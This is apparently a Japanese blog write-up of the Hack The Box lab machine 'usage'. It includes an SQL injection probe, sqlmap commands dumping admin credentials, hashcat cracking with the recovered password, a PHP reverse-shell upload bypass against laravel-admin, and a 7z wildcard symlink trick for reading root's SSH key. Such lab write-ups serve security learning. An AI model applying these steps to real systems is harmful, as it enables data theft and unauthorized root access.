家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】usage

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

-p-でスキャンし、確認できたTCP/22およびTCP/80に詳細なスキャンを行います。

┌──(kali㉿kali)-[~/htb/usage]
└─$ nmap -sC -sV -A -O -p25,80 10.10.11.18 
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.18
Host is up (0.19s latency).

PORT   STATE  SERVICE VERSION
25/tcp closed smtp
80/tcp open   http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/31%OT=80%CT=25%CU=41933%PV=Y%DS=2%DC=T%G=Y%TM=67
OS:22D404%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=
OS:A)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10B%
OS:TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O1=
OS:M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7
OS:%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y
OS:%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD
OS:=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%D
OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O
OS:=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40
OS:%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 25/tcp)
HOP RTT       ADDRESS
1   209.62 ms 10.10.14.1
2   209.69 ms 10.10.11.18

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

 

TCP/80の調査

/etc/hostsにusage.htbを登録しアクセスします。

ブラウザでアクセスした様子

/forget-passwordのページでSQLiの脆弱性の有無を確認する「' or 1=1--」のような文字列を入力すると以下のようなエラーが表示されます。
これより、SQLiの脆弱性があることが確認できます。

SQLi脆弱性の確認

BurpSuiteでリクエストを取得しテキストファイルに保存します。
その後、sqlmapでDBの情報を取得します。

 

データベースの情報を取得します。

sqlmap -r request.txt -p email --level 5 --risk 3 --batch --threads 10 --dbs

3つのDBを確認

 

「usage_blog」が見つかりました。次にテーブル情報を取得します。

sqlmap -r forget_passwd_request.txt --batch --dbms=mysql -p email --level 5 -D usage_blog -T admin_users --dump

テーブル情報取得


「admin_users」を対象にテーブル情報をダンプします。

sqlmap -r postdata.txt --batch -p email --level 5 --risk 3 -D usage_blog -T admin_users --dump    

dumpの結果

 

テーブル内のアカウント情報が取得できました。

hash形式の確認

hashの形式を確認しhashcatで解析します。

hashcat -m 3200 -a 0 hash  /usr/share/wordlists/rockyou.txt

解析結果

パスワード情報が取得できました。

$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1

 

上記のパスワードで「admin.usage.htb」にログインすることができます。

adminログイン

アクセス取得

ダッシュボードの「Dependencies」にあるバージョン情報で検索すると「laravel-admin 1.8.18」の脆弱性が見つかりました。

github.com

 

この脆弱性を悪用すると、.php 形式のファイルをアップロードしてリモートコードを実行できるようです。
以下のサイトではどこかで見たことあるような画像も見つかります。

flyd.uk

phpのリバースシェルを.jpgとしてファイルをアップロードし、「submit」する際に拡張子を元に戻します。

phpファイルを指定(Submit前)

 

submit時の拡張子変更

ファイルのアップロードが成功した後は、editよりアップロードしたファイルの右下、ダウンロードよりアクセスすることでシェルが取得できます。

リンクを確認

アクセスの取得

 

権限昇格

「dash」以外に「xander」というユーザがいるようです。

xander

 

「dash」のホーム ディレクトリに「.monitrc」があり、その中にはパスワード情報があります。

パスワード情報を確認

上記の情報でSSH接続します。

xander/3nc0d3d_pa$$w0rd

 

「xander」は「usage_management」をroot権限で実行できるようです。

sudo -l結果

「usage_management」を実行すると3つのオプションが表示されますが、1のバックアップのみが機能しました。2と3は実行すると終了します。
「usage_management」をダウンロードし、「Ghidra」 で調べる前にstringsを実行します。

stringsの結果

7zで検索すると以下のような情報が見つかります。

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks#id-7z

 

この攻撃手法は読み取りたいファイルへのシンボリックリンクを作成してファイルの内容を読み取ります。
上記の情報をもとに「id_rsa」を読み取ります。

id_rsaの作成

上記の実行後に「sudo /usr/bin/usage_management」を実行すると「root」の「id_rsa」が読み取れます。
「 : No more files」を削除して「id_rsa」を作成して「root」としてssh接続します。

id_rsaの読み取り

rootが取得できました。

root取得

 

その他

zenn.dev